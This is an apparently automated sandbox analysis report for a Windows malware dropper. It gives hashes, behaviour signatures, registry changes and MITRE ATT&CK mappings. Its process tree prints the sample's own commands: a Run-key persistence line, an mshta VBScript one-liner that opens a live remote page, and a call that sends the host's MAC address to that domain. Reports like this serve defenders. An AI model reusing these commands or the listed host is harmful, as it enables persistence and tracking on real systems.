862c3744f321557142a17753624cf29762861e9ec65cc9ceec79a1edde93dd1e

Analysis

max time kernel
134s
max time network
128s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
27/06/2024, 22:12

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

17b739e3023ebe3b9a31e1d8e437ce2e_JaffaCakes118.exe
Size

43KB
MD5

17b739e3023ebe3b9a31e1d8e437ce2e
SHA1

0544351944103cd293586513939ae87447318011
SHA256

862c3744f321557142a17753624cf29762861e9ec65cc9ceec79a1edde93dd1e
SHA512

09035361acc60636b2a58bbc0967c9565217787c3a8917e09960849ad25f19107e36efdab5727513f96e8459d91f36e5fa2476fabd3b49ac7c2657b2d07f6fe1
SSDEEP

768:edK9PrqC1lSQ1l3rc4GpOIes5efLvDDe/3Za80rgqNdAAoRhmwRh/E12:eMtGVQn3YuIZ8fTDD6YVrgkdAAoR7b/3

Score

10^/10

persistence upx

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://chaliang.115ku.cn/8348/yahooo.htm%22,0%29%28window.close%29

Signatures

Executes dropped EXE 4 IoCs

pid	Process
2332	IEXPIORE.exe
2648	8348.exe
2664	internet.exe
1868	svchost.exe

Loads dropped DLL 14 IoCs

pid	Process
1376	17b739e3023ebe3b9a31e1d8e437ce2e_JaffaCakes118.exe
1376	17b739e3023ebe3b9a31e1d8e437ce2e_JaffaCakes118.exe
1376	17b739e3023ebe3b9a31e1d8e437ce2e_JaffaCakes118.exe
1376	17b739e3023ebe3b9a31e1d8e437ce2e_JaffaCakes118.exe
2648	8348.exe
2648	8348.exe
2648	8348.exe
2648	8348.exe
2648	8348.exe
2664	internet.exe
2664	internet.exe
2664	internet.exe
2648	8348.exe
2648	8348.exe

UPX packed file 10 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000e00000001226c-3.dat	upx
behavioral1/memory/2332-12-0x0000000000400000-0x000000000040A000-memory.dmp	upx
behavioral1/memory/1376-17-0x0000000002780000-0x0000000002797000-memory.dmp	upx
behavioral1/files/0x0038000000015f54-15.dat	upx
behavioral1/memory/2648-25-0x0000000001000000-0x0000000001017000-memory.dmp	upx
behavioral1/files/0x0007000000016824-112.dat	upx
behavioral1/memory/1868-114-0x0000000000400000-0x000000000040A000-memory.dmp	upx
behavioral1/memory/2332-599-0x0000000000400000-0x000000000040A000-memory.dmp	upx
behavioral1/memory/2648-600-0x0000000001000000-0x0000000001017000-memory.dmp	upx
behavioral1/memory/2648-607-0x0000000001000000-0x0000000001017000-memory.dmp	upx

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	8348.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\pop = "C:\\Windows\\help\\runauto.vbs"	reg.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\F:	mshta.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File created	C:\Windows\help\svchost.bat	cmd.exe
File opened for modification	C:\Windows\help\svchost.bat	cmd.exe
File opened for modification	C:\Windows\help\runauto.vbs	cmd.exe
File created	C:\Windows\help\r.vbs	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
2824	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 59 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "425688215"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "3"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 8004b22bdfc8da01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{572C43F1-34D2-11EF-B2FB-7678A7DAE141} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff3d0000003d000000c3040000a2020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{572EA551-34D2-11EF-B2FB-7678A7DAE141} = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\SearchScopes	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000bd2a7708e9798e4fa0b20f3efd8e936100000000020000000000106600000001000020000000c5fe19e02f95f7861ffeb5267d5d03b808f55c5c5597d2fff4c40b918137e340000000000e800000000200002000000017bd9edf75bbfcababf0e69fb8fa0b6826a8cf5366a87523fe86a9bc4891f9499000000006c38beb26d9adfef61b1728f99398ea9bfdcc05a773faacb234f2e786cc6eb54ea8110c8b9d809f1d8c973254138539962b5322589a974223e5612f851767e392f1737b55ee5be33469ab1834d2ac8063af8db8bee2f3e972aafda5a437189b400273035c74b860cd898cf9c71070918baa20685517323ab63572dba359667ec6a13fa7eb2ebcfe7565d8ea7b376664400000002ff1d2e5ce331f77e76f4dd0831a56639f8b5bfcb07b1362d406ec13adf0ddfad7fecd690509b28177bc2ca7b0c6fd3a8ff2ff29709e1e71ecf77d70556b272d	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000bd2a7708e9798e4fa0b20f3efd8e9361000000000200000000001066000000010000200000007a60d3bf0aadf92c0d90bf384386d05c83bdaf156dadbcd6b116316b8484b727000000000e80000000020000200000001daaf69ccb43bd2f37b79af620a26bb3cf29f17a590f9a97028e03fa8c9e59252000000047b10563af28c1f9a0963ab9717c932ca4ba246fce468669572ad4c8b867341240000000b30b934d92bbb82348896d6ae30698e634ea81f37e4b55c25e88c1c1a92966b947c6e3f298193c07011f750e2bfc83b8f77bf1c171a56a544d55d41e47a5e2a9	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command	regedit.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2532	reg.exe

Runs .reg file with regedit 2 IoCs

pid	Process
2592	regedit.exe
2572	regedit.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1304	iexplore.exe
2208	iexplore.exe

Suspicious use of SetWindowsHookEx 10 IoCs

pid	Process
1304	iexplore.exe
1304	iexplore.exe
2208	iexplore.exe
2208	iexplore.exe
332	IEXPLORE.EXE
332	IEXPLORE.EXE
788	IEXPLORE.EXE
788	IEXPLORE.EXE
788	IEXPLORE.EXE
788	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1376 wrote to memory of 2332	1376	17b739e3023ebe3b9a31e1d8e437ce2e_JaffaCakes118.exe	28
PID 1376 wrote to memory of 2332	1376	17b739e3023ebe3b9a31e1d8e437ce2e_JaffaCakes118.exe	28
PID 1376 wrote to memory of 2332	1376	17b739e3023ebe3b9a31e1d8e437ce2e_JaffaCakes118.exe	28
PID 1376 wrote to memory of 2332	1376	17b739e3023ebe3b9a31e1d8e437ce2e_JaffaCakes118.exe	28
PID 1376 wrote to memory of 2648	1376	17b739e3023ebe3b9a31e1d8e437ce2e_JaffaCakes118.exe	29
PID 1376 wrote to memory of 2648	1376	17b739e3023ebe3b9a31e1d8e437ce2e_JaffaCakes118.exe	29
PID 1376 wrote to memory of 2648	1376	17b739e3023ebe3b9a31e1d8e437ce2e_JaffaCakes118.exe	29
PID 1376 wrote to memory of 2648	1376	17b739e3023ebe3b9a31e1d8e437ce2e_JaffaCakes118.exe	29
PID 1376 wrote to memory of 2648	1376	17b739e3023ebe3b9a31e1d8e437ce2e_JaffaCakes118.exe	29
PID 1376 wrote to memory of 2648	1376	17b739e3023ebe3b9a31e1d8e437ce2e_JaffaCakes118.exe	29
PID 1376 wrote to memory of 2648	1376	17b739e3023ebe3b9a31e1d8e437ce2e_JaffaCakes118.exe	29
PID 2648 wrote to memory of 2664	2648	8348.exe	30
PID 2648 wrote to memory of 2664	2648	8348.exe	30
PID 2648 wrote to memory of 2664	2648	8348.exe	30
PID 2648 wrote to memory of 2664	2648	8348.exe	30
PID 2648 wrote to memory of 2664	2648	8348.exe	30
PID 2648 wrote to memory of 2664	2648	8348.exe	30
PID 2648 wrote to memory of 2664	2648	8348.exe	30
PID 2664 wrote to memory of 2800	2664	internet.exe	31
PID 2664 wrote to memory of 2800	2664	internet.exe	31
PID 2664 wrote to memory of 2800	2664	internet.exe	31
PID 2664 wrote to memory of 2800	2664	internet.exe	31
PID 2664 wrote to memory of 2800	2664	internet.exe	31
PID 2664 wrote to memory of 2800	2664	internet.exe	31
PID 2664 wrote to memory of 2800	2664	internet.exe	31
PID 2800 wrote to memory of 2532	2800	cmd.exe	33
PID 2800 wrote to memory of 2532	2800	cmd.exe	33
PID 2800 wrote to memory of 2532	2800	cmd.exe	33
PID 2800 wrote to memory of 2532	2800	cmd.exe	33
PID 2800 wrote to memory of 2532	2800	cmd.exe	33
PID 2800 wrote to memory of 2532	2800	cmd.exe	33
PID 2800 wrote to memory of 2532	2800	cmd.exe	33
PID 2800 wrote to memory of 2592	2800	cmd.exe	34
PID 2800 wrote to memory of 2592	2800	cmd.exe	34
PID 2800 wrote to memory of 2592	2800	cmd.exe	34
PID 2800 wrote to memory of 2592	2800	cmd.exe	34
PID 2800 wrote to memory of 2592	2800	cmd.exe	34
PID 2800 wrote to memory of 2592	2800	cmd.exe	34
PID 2800 wrote to memory of 2592	2800	cmd.exe	34
PID 2800 wrote to memory of 2572	2800	cmd.exe	35
PID 2800 wrote to memory of 2572	2800	cmd.exe	35
PID 2800 wrote to memory of 2572	2800	cmd.exe	35
PID 2800 wrote to memory of 2572	2800	cmd.exe	35
PID 2800 wrote to memory of 2572	2800	cmd.exe	35
PID 2800 wrote to memory of 2572	2800	cmd.exe	35
PID 2800 wrote to memory of 2572	2800	cmd.exe	35
PID 2800 wrote to memory of 1444	2800	cmd.exe	36
PID 2800 wrote to memory of 1444	2800	cmd.exe	36
PID 2800 wrote to memory of 1444	2800	cmd.exe	36
PID 2800 wrote to memory of 1444	2800	cmd.exe	36
PID 2800 wrote to memory of 1444	2800	cmd.exe	36
PID 2800 wrote to memory of 1444	2800	cmd.exe	36
PID 2800 wrote to memory of 1444	2800	cmd.exe	36
PID 1444 wrote to memory of 2824	1444	cmd.exe	37
PID 1444 wrote to memory of 2824	1444	cmd.exe	37
PID 1444 wrote to memory of 2824	1444	cmd.exe	37
PID 1444 wrote to memory of 2824	1444	cmd.exe	37
PID 1444 wrote to memory of 2824	1444	cmd.exe	37
PID 1444 wrote to memory of 2824	1444	cmd.exe	37
PID 1444 wrote to memory of 2824	1444	cmd.exe	37
PID 1444 wrote to memory of 2864	1444	cmd.exe	38
PID 1444 wrote to memory of 2864	1444	cmd.exe	38
PID 1444 wrote to memory of 2864	1444	cmd.exe	38
PID 1444 wrote to memory of 2864	1444	cmd.exe	38

C:\Users\Admin\AppData\Local\Temp\17b739e3023ebe3b9a31e1d8e437ce2e_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\17b739e3023ebe3b9a31e1d8e437ce2e_JaffaCakes118.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1376
- C:\Users\Admin\AppData\Local\Temp\IEXPIORE.exe
  "C:\Users\Admin\AppData\Local\Temp\IEXPIORE.exe"
  2⤵
  - Executes dropped EXE
  PID:2332
- C:\Users\Admin\AppData\Local\Temp\8348.exe
  "C:\Users\Admin\AppData\Local\Temp\8348.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:2648
- - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\internet.exe
    C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\internet.exe
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:2664
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c C:\Users\Admin\AppData\Local\Temp\259400911.bat
      4⤵
      Drops file in Windows directory
      Suspicious use of WriteProcessMemory
      PID:2800
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v pop /t REG_SZ /d C:\Windows\help\runauto.vbs /f
        5⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:2532
    - - C:\Windows\SysWOW64\regedit.exe
        
        Regedit /s tem.reg
        5⤵
        Modifies registry class
        Runs .reg file with regedit
        
        PID:2592
    - - C:\Windows\SysWOW64\regedit.exe
        
        Regedit /s gai.reg
        5⤵
        Runs .reg file with regedit
        
        PID:2572
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ipconfig /all|findstr /c:"Physical Address"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1444
      - C:\Windows\SysWOW64\ipconfig.exe
        
        ipconfig /all
        6⤵
        Gathers network information
        
        PID:2824
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /c:"Physical Address"
        6⤵
        
        PID:2864
    - - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Windows\help\r.vbs"
        5⤵
        
        PID:1032
      - C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" http://chaliang.115ku.cn/8348/count.asp?mac= 00:00:00:00:00:00:00:E0&os=Windows_NT&ver=20090628
        6⤵
        Modifies Internet Explorer settings
        Suspicious use of FindShellTrayWindow
        Suspicious use of SetWindowsHookEx
        
        PID:2208
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2208 CREDAT:275457 /prefetch:2
        7⤵
        Modifies Internet Explorer settings
        Suspicious use of SetWindowsHookEx
        
        PID:788
    - - C:\Windows\SysWOW64\mshta.exe
        
        mshta vbscript:CreateObject("WScript.Shell").Run("iexplore http://chaliang.115ku.cn/8348/yahooo.htm",0)(window.close)
        5⤵
        Enumerates connected drives
        Modifies Internet Explorer settings
        
        PID:776
      - C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" http://chaliang.115ku.cn/8348/yahooo.htm
        6⤵
        Modifies Internet Explorer settings
        Suspicious use of FindShellTrayWindow
        Suspicious use of SetWindowsHookEx
        
        PID:1304
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1304 CREDAT:275457 /prefetch:2
        7⤵
        Modifies Internet Explorer settings
        Suspicious use of SetWindowsHookEx
        
        PID:332
- - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\svchost.exe
    C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\svchost.exe
    3⤵
    - Executes dropped EXE
    PID:1868

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
89a5f7a9fd07a4cc74e9b56d3fa45350

SHA1
851f7bb39e39e8bb1f7c57b628fb7d0695ceb752

SHA256
bccd187688b9f8b2cf97bfed196e452db06295f2ab0a8fa87c0bbf0c7849c06a

SHA512
13c5a782f1279c4cfc40fcf9d385419df2440d6ac4b262b8a0cddd0c300394c16d691a0e014f0b8ed503b8f7104f514242fc820157809e408c3129db70cdc88b

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
5fe12f670355da5d93c0d78fad1a2daf

SHA1
201740f3c48acd02690a74fabd547a5da270f2d9

SHA256
6227db1d993183227ce9043c856053271f8bf6efba4f17115a7718c41c04b0ed

SHA512
c55b59febcc4a4bb8da0d87e675e496f90e6b72ef7e19a5ad2a1ac2d6eb442e6e73ff5424d4f5ceca7f3d0f13f13c4e868a29aac9f3489f27de2b4786526008c

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
260be7e78aa8a49e604ef22185a3c6b6

SHA1
455521dd76883a4ee06b80d94eb39d7d3613955b

SHA256
d58046b4969090773000ad2a1e3547794a082b89a18754351a3f790a00ebef06

SHA512
14560be913da452da1ab479ef90d2c5242a66cfb84ea3917c09de05858ab768478597ee1efd5b76f95f9a47b9af548f9651aeb3959593e08eba427a2097cca2a

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
f43b7221234cc5ed9009d88073b3b8fd

SHA1
d8341ec29db244ac979b04fccdcaf57fd625638d

SHA256
3ac3dd7846b40598a8ad53b8ca71175b1a08399d60c90509558c86bd64527a67

SHA512
d2c6dfbd1f0bf9759a65ea1f306a33e7832dd92d98bb21ed18f40ab27ae19979e4e0ddeef1f9f1d616452f6f9bb9237383bfbf54653e5f259c8e417454e7a02d

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
1481740bb852b7f842b69d3fb8dceb7e

SHA1
a07eeb30e2d96008262b35a6e6b9212be96a55bb

SHA256
aada7f01112f2d57c460691ebad12fd1601c76a00046482b9fc598df94f9583c

SHA512
482b66b257ca794256c2edfbf292fa1c61ad7a7bfe443797f9ef1a364c83c41dbb59c663dd9d148823f7f59f4885e683d7165a5dd3f41f9a95238da05e3ee6a0

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
7933af708ff92eda9442d5d3248b82f3

SHA1
036d8bf6a4ccab48c9a02c916911fb4076f0d6ba

SHA256
f5e3a6025147dc2181030190f5386caa3d183ec1bea8ef06b1fc0b9ba8ced049

SHA512
385efc64c629da3072ffb911b4732cb16bb9124e391b570479ff280fe4b2ea654edc14d71446897a6d993e62fb48c07330bf74fee3377dc4cf33d1e09f67b5dd

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
33b658e70aa65176ee8d6d6e94f6f78f

SHA1
037ca61e85bf88f028e611d98f835e9a9729d2ba

SHA256
46be7bd47b4d31fccaf1eddefd924078851f94cf1be38d02e5b8b0d6d1917ddc

SHA512
667e0c87b25a0f7c26bd013e4dc01c67d711b7598b758af76a2cc870ace7b0caa5b78af68f6d159d33fd487f74ec62e182e2555dd32997ed6b763072b7320805

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
e5124e5d833d9eb9a0b4d11d7c05209b

SHA1
466b06bd80e4abca590d728cfd7170c1c7e70c42

SHA256
ff1a37db7a371827b3e38de2b25158a0a8525014ce9023cd6bb18f7c089811c5

SHA512
